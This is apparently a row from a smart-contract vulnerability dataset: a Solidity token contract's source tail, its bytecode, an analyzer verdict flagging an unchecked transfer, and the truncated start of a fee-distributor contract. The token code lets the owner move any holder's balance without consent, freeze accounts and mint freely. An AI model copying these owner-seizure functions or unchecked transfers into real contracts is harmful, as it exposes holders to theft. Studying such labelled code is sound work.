function burn(uint _value) public returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
supply = supply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) public returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function customExchangeSecure(address _from, address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value);
require(balances[_to].add(_value) >= balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function customExchange(address _from, address _to, uint256 _value) onlyOwner public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value);
require(balances[_to].add(_value) >= balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner public {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
/* This notifies clients about the amount frozen */
event Freeze(address indexed addr);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed addr);
/**
* check if given address is frozen.
*/
function isFrozen(address _addr) constant public returns (bool) {
return frozen[_addr];
}
/**
* Freezes address (no transfer can be made from or to this address).
*/
function freeze(address _addr) onlyOwner public {
frozen[_addr] = true;
}
/**
* Unfreezes frozen address.
*/
function unfreeze(address _addr) onlyOwner public {
frozen[_addr] = false;
}
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
supply = supply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) onlyOwner public {
require(msg.sender == owner);
owner.transfer(amount);
}
// can accept ether
function() payable public {
}
} | 0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063047fc9aa1461018257806305d2035b146101ad57806306fdde03146101dc578063095ea7b31461026c57806318160ddd146102d1578063190406b3146102fc57806323b872dd146103815780632ff2e9dc14610406578063313ce567146104315780633bed33ce146104625780633f4ba83a1461048f57806340c10f19146104a657806342966c681461050b57806345c8b1a6146105505780635c975abb1461059357806362e4aeb8146105c2578063661884631461064757806370a08231146106ac57806379cc6790146107035780637d64bcb4146107685780638456cb59146107975780638d1fdf2f146107ae5780638da5cb5b146107f157806395d89b4114610848578063a9059cbb146108d8578063d73dd6231461093d578063db0e16f1146109a2578063dd62ed3e146109ef578063e583983614610a66578063f2fde38b14610ac1575b005b34801561018e57600080fd5b50610197610b04565b6040518082815260200191505060405180910390f35b3480156101b957600080fd5b506101c2610b0a565b604051808215151515815260200191505060405180910390f35b3480156101e857600080fd5b506101f1610b1d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610231578082015181840152602081019050610216565b50505050905090810190601f16801561025e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027857600080fd5b506102b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b56565b604051808215151515815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610b86565b6040518082815260200191505060405180910390f35b34801561030857600080fd5b50610367600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8f565b604051808215151515815260200191505060405180910390f35b34801561038d57600080fd5b506103ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ecc565b604051808215151515815260200191505060405180910390f35b34801561041257600080fd5b5061041b610f9a565b6040518082815260200191505060405180910390f35b34801561043d57600080fd5b50610446610fa9565b604051808260ff1660ff16815260200191505060405180910390f35b34801561046e57600080fd5b5061048d60048036038101908080359060200190929190505050610fae565b005b34801561049b57600080fd5b506104a46110d2565b005b3480156104b257600080fd5b506104f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111a2565b604051808215151515815260200191505060405180910390f35b34801561051757600080fd5b506105366004803603810190808035906020019092919050505061138a565b604051808215151515815260200191505060405180910390f35b34801561055c57600080fd5b50610591600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f9565b005b34801561059f57600080fd5b506105a86115b0565b604051808215151515815260200191505060405180910390f35b3480156105ce57600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115c3565b604051808215151515815260200191505060405180910390f35b34801561065357600080fd5b50610692600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118e4565b604051808215151515815260200191505060405180910390f35b3480156106b857600080fd5b506106ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611914565b6040518082815260200191505060405180910390f35b34801561070f57600080fd5b5061074e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061195d565b604051808215151515815260200191505060405180910390f35b34801561077457600080fd5b5061077d611983565b604051808215151515815260200191505060405180910390f35b3480156107a357600080fd5b506107ac611a4b565b005b3480156107ba57600080fd5b506107ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b1c565b005b3480156107fd57600080fd5b50610806611bd3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561085457600080fd5b5061085d611bf9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561089d578082015181840152602081019050610882565b50505050905090810190601f1680156108ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108e457600080fd5b50610923600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c32565b604051808215151515815260200191505060405180910390f35b34801561094957600080fd5b50610988600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ce9565b604051808215151515815260200191505060405180910390f35b3480156109ae57600080fd5b506109ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d19565b005b3480156109fb57600080fd5b50610a50600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e7a565b6040518082815260200191505060405180910390f35b348015610a7257600080fd5b50610aa7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f01565b604051808215151515815260200191505060405180910390f35b348015610acd57600080fd5b50610b02600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f57565b005b60005481565b600560009054906101000a900460ff1681565b6040805190810160405280600781526020017f434946436f696e0000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610b7457600080fd5b610b7e83836120af565b905092915050565b60008054905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bed57600080fd5b600360149054906101000a900460ff16151515610c0957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c4557600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610c9357600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b10151515610d3257600080fd5b610d8482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f0b57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f4657600080fd5b610f4f33611f01565b151515610f5b57600080fd5b610f6485611f01565b151515610f7057600080fd5b610f7984611f01565b151515610f8557600080fd5b610f908585856121d8565b9150509392505050565b6a2253f7820638859980000081565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100a57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106657600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110ce573d6000803e3d6000fd5b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112e57600080fd5b600360149054906101000a900460ff16151561114957600080fd5b6000600360146101000a81548160ff0219169083151502179055507f438b0bb88e1b4ec35c11877ff82c0cdfb4d7a0053df376e1d8f8494b0335c3f46000604051808215151515815260200191505060405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120057600080fd5b600560009054906101000a900460ff1615151561121c57600080fd5b611231826000546121a190919063ffffffff16565b60008190555061128982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006113de82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611436826000546121bf90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155557600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600360149054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561165d57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156116ab57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173d83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b1015151561174a57600080fd5b61179c82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600360149054906101000a900460ff1615151561190257600080fd5b61190c838361220a565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061196a833384610ecc565b151561197257fe5b61197b8261138a565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e157600080fd5b600560009054906101000a900460ff161515156119fd57600080fd5b6001600560006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aa757600080fd5b600360149054906101000a900460ff16151515611ac357600080fd5b6001600360146101000a81548160ff0219169083151502179055507f9422424b175dda897495a07b091ef74a3ef715cf6d866fc972954c1c7f4593046001604051808215151515815260200191505060405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b7857600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f434946000000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611c7157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611cac57600080fd5b611cb533611f01565b151515611cc157600080fd5b611cca84611f01565b151515611cd657600080fd5b611ce0848461249b565b91505092915050565b6000600360149054906101000a900460ff16151515611d0757600080fd5b611d1183836124cb565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d7557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e3a57600080fd5b505af1158015611e4e573d6000803e3d6000fd5b505050506040513d6020811015611e6457600080fd5b8101908080519060200190929190505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fb357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611fef57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156121b557fe5b8091505092915050565b60008282111515156121cd57fe5b818303905092915050565b6000600360149054906101000a900460ff161515156121f657600080fd5b6122018484846126c7565b90509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561231b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af565b61232e83826121bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff161515156124b957600080fd5b6124c38383612a86565b905092915050565b600061255c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561270457600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561275257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156127dd57600080fd5b61282f82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128c482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061299682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612ac357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612b1157600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110151515612ba057600080fd5b612bf282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121a190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820ed426d0899cfafbeba5ee7ad7c27272c5f18141e768228517cb20e6d6de4d2190029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 671 |
0xd315e769c95a79563acf4f2cff620d76aa02e030 | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "ERC20: sending to the zero address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function calculateFeesBeforeSend(
address sender,
address recipient,
uint256 amount
) external view returns (uint256, uint256);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
interface stakeContract {
function DisributeTxFunds() external;
function ADDFUNDS(uint256 tokens) external;
}
contract FeeDistributor is Owned {
using SafeMath for uint256;
address public fBNB = 0x87b1AccE6a1958E522233A737313C086551a5c76;
address public dev = 0x94D4Ac11689C6EbbA91cDC1430fc7dfa9a858753;
bool public perform = false;
stakeContract stakingContract; //FEG staking contract address
stakeContract LPstakingContract; //FEG LP staking contract address
fallback() external payable {
owner.transfer(msg.value);
}
receive() external payable{ owner.transfer(msg.value); }
constructor(stakeContract _stakingContract, stakeContract _lpStakingContract) {
owner = msg.sender;
stakingContract = _stakingContract;
LPstakingContract = _lpStakingContract;
}
function changeStakingContract(stakeContract _stakingContract) external onlyOwner{
require(address(_stakingContract) != address(0), "setting 0 to contract");
stakingContract = _stakingContract;
}
function changeLPStakingContract(stakeContract _lpStakingContract) external onlyOwner{
require(address(_lpStakingContract) != address(0), "setting 0 to contract");
LPstakingContract = _lpStakingContract;
}
function changedev(address _DEV) external onlyOwner{
dev = _DEV;
}
function changePerform(bool _bool) external onlyOwner{
perform = _bool;
}
function distributeAll() public{
uint256 amount = IERC20(fBNB).balanceOf(address(this)).mul(uint256(999)).div(1000);
uint256 amountForToken = (onePercent(amount).mul(uint256(480))).div(10);
require(IERC20(fBNB).transfer( address(stakingContract), amountForToken), "Tokens cannot be transferred from funder account");
stakingContract.ADDFUNDS(amountForToken);
uint256 amountForLP = (onePercent(amount).mul(uint256(320))).div(10);
